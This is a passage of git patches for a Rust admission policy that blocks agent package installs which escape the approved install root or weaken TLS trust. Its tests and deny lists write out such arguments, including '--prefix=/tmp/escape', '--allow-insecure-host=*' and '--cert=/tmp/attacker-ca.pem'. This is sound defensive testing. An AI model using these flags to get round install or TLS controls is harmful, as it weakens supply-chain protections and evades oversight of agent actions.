AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, - DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, - validate_service_config, + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, + ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, + admission_decision, validate_service_config, }; const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; From 750da526563564b3a19f4a29ef663b6de4d8befc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:14:48 +0900 Subject: [PATCH 244/702] style(admission): format pnpm scope test --- .../tests/pnpm_scope_escape_contract.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs index ac72340a..a5c1424f 100644 --- a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs @@ -67,7 +67,11 @@ fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, Strin artifact.artifact_argument.clone(), "--ignore-scripts".to_string(), ]; - argv.extend(scope_arguments.iter().map(|argument| (*argument).to_string())); + argv.extend( + scope_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); let intent = InstallIntent { request_id: "req-pnpm-workspace-scope".to_string(), actor_id: "agent:codex:test".to_string(), From 16486a8864408d306cfa41f5e69a50f9cfd680df Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:15:14 +0900 Subject: [PATCH 245/702] style(admission): format Yarn workspace test --- .../tests/yarn_workspace_root_contract.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs index d606f6bf..9ec9bb76 100644 --- a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs +++ b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs @@ -22,7 +22,8 @@ fn yarn_classic_workspace_root_escape_flags_fail_closed() { allowed_executables: vec!["yarn".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From 402cfe2adfbf3bf4ae251b3c0d513ef72cb82ec8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:16:26 +0900 Subject: [PATCH 246/702] style(admission): format install root contract --- .../tests/install_root_contract.rs | 56 +++++++++++++------ 1 file changed, 39 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index d1e2cf0e..4970473a 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -12,7 +12,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "@cwl/example", "@cwl/example@1.2.3", "https://registry.npmjs.org", - &["install", "@cwl/example@1.2.3", "--ignore-scripts", "--global"], + &[ + "install", + "@cwl/example@1.2.3", + "--ignore-scripts", + "--global", + ], ), install_case( "pnpm", @@ -36,7 +41,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "@cwl/example", "@cwl/example@1.2.3", "https://registry.npmjs.org", - &["add", "@cwl/example@1.2.3", "--ignore-scripts", "--prefix=/tmp/escape"], + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "--prefix=/tmp/escape", + ], ), install_case( "pip", @@ -44,7 +54,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "cwl-example", "cwl-example==1.2.3", "https://pypi.org/simple", - &["install", "cwl-example==1.2.3", "--require-hashes", "--target=/tmp/escape"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--target=/tmp/escape", + ], ), install_case( "pip3", @@ -52,7 +67,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "cwl-example", "cwl-example==1.2.3", "https://pypi.org/simple", - &["install", "cwl-example==1.2.3", "--require-hashes", "--user"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--user", + ], ), install_case( "uv", @@ -74,7 +94,12 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { "cwl-example", "cwl-example@1.2.3", "https://crates.io", - &["install", "cwl-example@1.2.3", "--locked", "--root=/tmp/escape"], + &[ + "install", + "cwl-example@1.2.3", + "--locked", + "--root=/tmp/escape", + ], ), ]; @@ -198,10 +223,7 @@ fn cargo_inline_configuration_cannot_override_install_root() { #[test] fn npm_location_global_spellings_are_blocked() { - for location_arguments in [ - vec!["--location=global"], - vec!["--location", "GLOBAL"], - ] { + for location_arguments in [vec!["--location=global"], vec!["--location", "GLOBAL"]] { let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; arguments.extend(location_arguments); let (policy, intent, label) = install_case( @@ -409,10 +431,12 @@ fn container_pull_is_not_misclassified_as_an_install_root_escape() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Allow); - assert!(!decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root")); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root") + ); } fn assert_alternate_root_blocked(policy: &AdmissionPolicy, intent: &InstallIntent, label: &str) { @@ -467,8 +491,7 @@ fn install_case( version: "1.2.3".to_string(), registry_url: registry_url.to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -477,8 +500,7 @@ fn install_case( allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From db921e7f855f52870b23de52a4e23f11ff996644 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:18:01 +0900 Subject: [PATCH 247/702] style(admission): complete rustfmt repair --- crates/agent-artifact-admission/src/policy.rs | 84 ++++++++----------- 1 file changed, 37 insertions(+), 47 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 89242519..9062ea7c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -244,16 +244,14 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { 2 } - "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" - | "podman" => 1, + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" | "podman" => 1, _ => return, }; @@ -309,11 +307,10 @@ fn requests_indirect_artifact_source(executable: &str, arguments: &[String]) -> "--editable", "--requirements-from-script", ]), - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { contains_flag(&[ "-r", @@ -536,13 +533,15 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo match executable { "npm" => { contains_flag(&["-g", "--global", "--prefix", "--workspace", "-w"]) + || arguments.iter().any(|argument| { + matches!(argument.as_str(), "--workspaces" | "--workspaces=true") + }) || arguments .iter() - .any(|argument| matches!(argument.as_str(), "--workspaces" | "--workspaces=true")) - || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } "yarn" => { contains_flag(&[ @@ -551,10 +550,12 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo "--prefix", "-W", "--ignore-workspace-root-check", - ]) || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) + ]) || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } "pnpm" => { contains_flag(&[ @@ -571,41 +572,30 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo "--recursive", "-r", "--include-workspace-root", - ]) || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) + ]) || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } "bun" => { - contains_flag(&[ - "-g", - "--global", - "--prefix", - "--cwd", - "--filter", - "-F", - ]) || arguments.iter().any(|argument| argument == "--location=global") - || arguments.windows(2).any(|pair| { - pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") - }) - } - "pip" | "pip3" => { - contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + contains_flag(&["-g", "--global", "--prefix", "--cwd", "--filter", "-F"]) + || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) } + "pip" | "pip3" => contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]), "uv" => { arguments.first().is_some_and(|argument| argument == "pip") && arguments .get(1) .is_some_and(|argument| argument == "install") && contains_flag(&[ - "--user", - "--target", - "-t", - "--root", - "--prefix", - "--system", - "--python", - "-p", + "--user", "--target", "-t", "--root", "--prefix", "--system", "--python", "-p", ]) } "cargo" => contains_flag(&["--root", "--config", "--target-dir"]), From d8430278eae6c2a70f09540a58af1ffa70927542 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 10:15:59 +0900 Subject: [PATCH 248/702] test(admission): reject uv installer TLS-verification overrides RED regression through the public admission evaluator: uv pip install accepts --allow-insecure-host as a TLS bypass, including the equals form that carries no additional positional operand. Keep a reviewed positive control so a blanket deny or unrelated artifact mismatch cannot satisfy the regression. No package manager or network request is executed by these unit fixtures. --- .../tests/uv_transport_trust_contract.rs | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs new file mode 100644 index 00000000..2edeb467 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs @@ -0,0 +1,128 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, +}; + +#[test] +fn reviewed_uv_install_without_transport_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_equals_form_cannot_disable_tls_for_an_approved_artifact_source() { + for host in [ + "pypi.org", + "files.pythonhosted.org", + "pypi.org:443", + "https://pypi.org", + "*", + ] { + for insert_before_artifact in [true, false] { + let (policy, mut intent) = approved_uv_install(); + let flag = format!("--allow-insecure-host={host}"); + if insert_before_artifact { + intent.argv.insert(3, flag); + } else { + intent.argv.push(flag); + } + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "approved coordinates must not authorize the caller's TLS override for {host}" + ); + assert!( + decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot), + "TLS authority must be classified explicitly: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn uv_separate_value_is_classified_as_a_transport_trust_override() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--allow-insecure-host".to_string()); + intent.argv.push("pypi.org".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot), + "an extra operand rejection alone must not hide the TLS override: {:?}", + decision.reason_codes + ); +} + +#[test] +fn repeated_uv_transport_overrides_produce_one_trust_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.extend([ + "--allow-insecure-host=pypi.org".to_string(), + "--trusted-host=files.pythonhosted.org".to_string(), + "--allow-insecure-host=pypi.org".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision + .reason_codes + .iter() + .filter(|reason| **reason == ReasonCode::AlternateTrustRoot) + .count(), + 1 + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-transport-trust".to_string(), + policy_revision: "2026-09-10.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} From 61ce5d9f3d67ddf0b9dbf8bfc7234a6034cc4f0b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 10:41:21 +0900 Subject: [PATCH 249/702] test(security): apply rustfmt to uv transport RED --- .../tests/uv_transport_trust_contract.rs | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs index 2edeb467..c7d9cff2 100644 --- a/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs @@ -39,7 +39,9 @@ fn uv_equals_form_cannot_disable_tls_for_an_approved_artifact_source() { "approved coordinates must not authorize the caller's TLS override for {host}" ); assert!( - decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot), + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), "TLS authority must be classified explicitly: {:?}", decision.reason_codes ); @@ -57,7 +59,9 @@ fn uv_separate_value_is_classified_as_a_transport_trust_override() { assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot), + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), "an extra operand rejection alone must not hide the TLS override: {:?}", decision.reason_codes ); From dd61799908129d4896b042a60e63704f726d1d11 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 11:00:58 +0900 Subject: [PATCH 250/702] fix(security): reject uv insecure transport override --- crates/agent-artifact-admission/src/policy.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 9062ea7c..7ecbe7ab 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -496,6 +496,7 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--index", "--default-index", "--trusted-host", + "--allow-insecure-host", "--find-links", "--registry", "--registry-url", @@ -688,4 +689,4 @@ pub fn sha256_hex(input: &[u8]) -> String { let _ = write!(&mut output, "{byte:02x}"); } output -} +} \ No newline at end of file From cc7f0564b54b42da47b79c8a44c5f727d82910ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 11:15:37 +0900 Subject: [PATCH 251/702] style(security): restore rustfmt newline --- crates/agent-artifact-admission/src/policy.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 7ecbe7ab..60e716b7 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -689,4 +689,4 @@ pub fn sha256_hex(input: &[u8]) -> String { let _ = write!(&mut output, "{byte:02x}"); } output -} \ No newline at end of file +} From edaf9bbb76a60bf7bdb56ec16e6661c9c86bf9f4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 12:05:31 +0900 Subject: [PATCH 252/702] test(security): reject alternate pip certificate stores --- .../pypi_certificate_store_trust_contract.rs | 141 ++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs new file mode 100644 index 00000000..7d53796d --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -0,0 +1,141 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn reviewed_pip_install_without_certificate_override_remains_admissible() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +#[test] +fn pip_certificate_bundle_override_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + for certificate_bundle in [ + "/tmp/attacker-ca.pem", + "./workspace-ca.pem", + "/etc/ssl/private/alternate.pem", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(format!("--cert={certificate_bundle}")); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let an approved package coordinate authorize a caller-selected certificate store" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "certificate-store authority must be classified explicitly: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn pip_separate_certificate_value_is_classified_as_alternate_trust_authority() { + let (policy, mut intent) = approved_pip_install("pip"); + intent.argv.push("--cert".to_string()); + intent.argv.push("/tmp/attacker-ca.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "an extra-operand rejection alone must not hide the certificate-store override: {:?}", + decision.reason_codes + ); +} + +#[test] +fn repeated_pip_certificate_overrides_emit_one_trust_reason() { + let (policy, mut intent) = approved_pip_install("pip"); + intent.argv.extend([ + "--cert=/tmp/first.pem".to_string(), + "--cert=/tmp/second.pem".to_string(), + "--trusted-host=pypi.org".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision + .reason_codes + .iter() + .filter(|reason| **reason == ReasonCode::AlternateTrustRoot) + .count(), + 1 + ); +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-certificate-store-trust".to_string(), + policy_revision: "2026-09-10.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-cert-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 43d5e7a8d70d9f7396451ce01402cbcfa7603025 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 12:20:56 +0900 Subject: [PATCH 253/702] fix(security): bind pip certificate trust store --- crates/agent-artifact-admission/src/policy.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 60e716b7..4b89e2c4 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -504,6 +504,7 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--globalconfig", "--ca", "--cafile", + "--cert", "--strict-ssl", "--git", "--path", From 879659e4cf714b9da53af8c83df028e4919b20f0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 12:23:15 +0900 Subject: [PATCH 254/702] docs(security): trace PyPI certificate-store authority --- .../pypi-certificate-store-authority.md | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 docs/doctoring/pypi-certificate-store-authority.md diff --git a/docs/doctoring/pypi-certificate-store-authority.md b/docs/doctoring/pypi-certificate-store-authority.md new file mode 100644 index 00000000..65fa185f --- /dev/null +++ b/docs/doctoring/pypi-certificate-store-authority.md @@ -0,0 +1,50 @@ +# PyPI certificate-store authority + +Status: Proposed implementation evidence on Draft PR #129. This document does not make the branch released or protected truth. + +## Problem + +Wardnet's Agent Artifact Admission decides whether one structured installer intent may proceed to a downstream executor. An approved PyPI package coordinate, digest, registry and workspace manifest do not authorize the caller to replace the TLS certificate store used to authenticate that registry. + +pip 26.2.1 documents HTTPS certificate verification as the default protection against man-in-the-middle attacks and exposes `--cert` / `PIP_CERT` for selecting a certificate bundle. The same pip documentation identifies `REQUESTS_CA_BUNDLE` and `CURL_CA_BUNDLE` as ambient alternatives. A caller-controlled certificate store therefore changes trust authority independently of the reviewed package coordinate. + +## Decision + +For structured `pip` and `pip3` argv, Wardnet classifies `--cert` as `AlternateTrustRoot` and fails the admission request closed. The existing `requests_alternate_trust_root` classifier and `matches_cli_flag` parser remain the sole Wardnet authority for this argv property; both `--cert=` and separate `--cert ` spellings are covered without a parallel classifier. + +Wardnet does not inspect, clear or enforce `PIP_CERT`, `REQUESTS_CA_BUNDLE`, `CURL_CA_BUNDLE`, filesystem certificate contents, operating-system trust stores, or the executor's effective environment. Those are runtime execution/isolation concerns owned by `quarantine-sandbox-runtime`. The corresponding environment-authority witness is tracked in `quarantine-sandbox-runtime#49`. EgressWeave retains outbound transport authorization; Wardnet does not convert an admission receipt into network authority. + +An `allow` receipt therefore means only that the exact reviewed structured installer intent passed Wardnet policy. It is not proof that retrieved bytes, TLS peer authentication, effective environment, network egress or execution are safe. + +## Alternatives considered + +Allowing arbitrary `--cert` values because the package artifact itself is digest-pinned was rejected. Artifact integrity does not make a caller-selected trust anchor benign: registry metadata, authentication and other TLS-protected exchanges can still be redirected or observed, and the reviewed Wardnet policy carries no independently approved certificate-bundle identity. + +Adding certificate-file inspection to Wardnet was rejected because it would duplicate runtime filesystem/environment authority and couple the admission bounded context to executor state. A future released contract may carry an immutable, canonical-owner certificate-policy identity, but mutable paths or sibling source are not production authority. + +Silently relying on the existing extra-positional-operand rejection for separate `--cert ` was rejected because it misclassifies the security property. A stable `AlternateTrustRoot` reason is required for audit evidence and policy interpretation. + +## RED → causal repair evidence + +Test-only exact `edaf9bbb76a60bf7bdb56ec16e6661c9c86bf9f4` ran in CI `34431988599`, rust job `102729231075`, on hosted Ubuntu 24.04. Checkout, toolchain setup, `cargo fmt --check` and all preceding workspace tests succeeded. The hostile contract then proved both relevant failures: + +- `pip install cwl-example==1.2.3 --require-hashes --no-deps --cert=/tmp/attacker-ca.pem` returned `Allow` instead of `Block`. +- `pip install ... --cert /tmp/attacker-ca.pem` was blocked only as `ArtifactNotApproved` and lacked `AlternateTrustRoot`. + +The positive control without certificate override and the duplicate-reason control passed. The minimum production successor `43d5e7a8d70d9f7396451ce01402cbcfa7603025` adds exactly one `--cert` entry to the existing forbidden trust-root flag list; comparison from the RED head is one file, one added line. Exact-head GREEN must be reacquired after this documentation commit before the candidate may be promoted. + +## Security traceability + +CWE-295 describes improper certificate validation as a weakness that can permit communication with an attacker-controlled or spoofed peer. Wardnet is not itself a TLS implementation, so CWE-295 is used here as threat traceability rather than as a claim that Wardnet validates certificates. The Wardnet control prevents an approved installer intent from authorizing caller-selected certificate trust that could undermine downstream peer authentication. + +NIST SP 800-52 Rev. 2 remains the current final NIST TLS implementation guideline as of 2026-09-10. NIST opened a periodic review of Rev. 2 on 2026-05-07 and stated that it expects a future revision to align with newer TLS 1.3 work; that review does not supersede the published Rev. 2. The document's TLS certificate guidance supports keeping peer-authentication trust configuration explicit and governed rather than accepting unreviewed caller overrides. + +## References + +MITRE. (2026). *CWE-295: Improper certificate validation* (CWE Version 4.20). https://cwe.mitre.org/data/definitions/295.html + +National Institute of Standards and Technology. (2019). *Guidelines for the selection, configuration, and use of Transport Layer Security (TLS) implementations* (NIST Special Publication 800-52 Rev. 2). https://doi.org/10.6028/NIST.SP.800-52r2 + +National Institute of Standards and Technology. (2026, May 7). *NIST requests public comments on SP 800-52 Rev. 2: Guidelines for the selection, configuration, and use of Transport Layer Security (TLS) implementations*. https://www.nist.gov/news-events/news/2026/05/nist-requests-public-comments-sp-800-52-rev-2-guidelines-selection + +Python Packaging Authority. (2026). *HTTPS certificates*. pip 26.2.1 documentation. https://pip.pypa.io/en/stable/topics/https-certificates/ From 63231dcf493ff3e5f53630ffd04016299358021d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 12:32:50 +0900 Subject: [PATCH 255/702] test(security): expose uv hash-mode override --- .../tests/safety_flag_contract.rs | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index 89c5205f..81935140 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -161,3 +161,32 @@ fn pip_boolean_override_cannot_disable_required_hash_checking() { decision.reason_codes ); } + +#[test] +fn uv_hidden_boolean_override_cannot_disable_required_hash_checking() { + let mut policy = approved_pip_policy(); + policy.allowed_executables = vec!["uv".to_string()]; + + let mut intent = approved_pip_intent("--no-deps"); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-require-hashes".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + 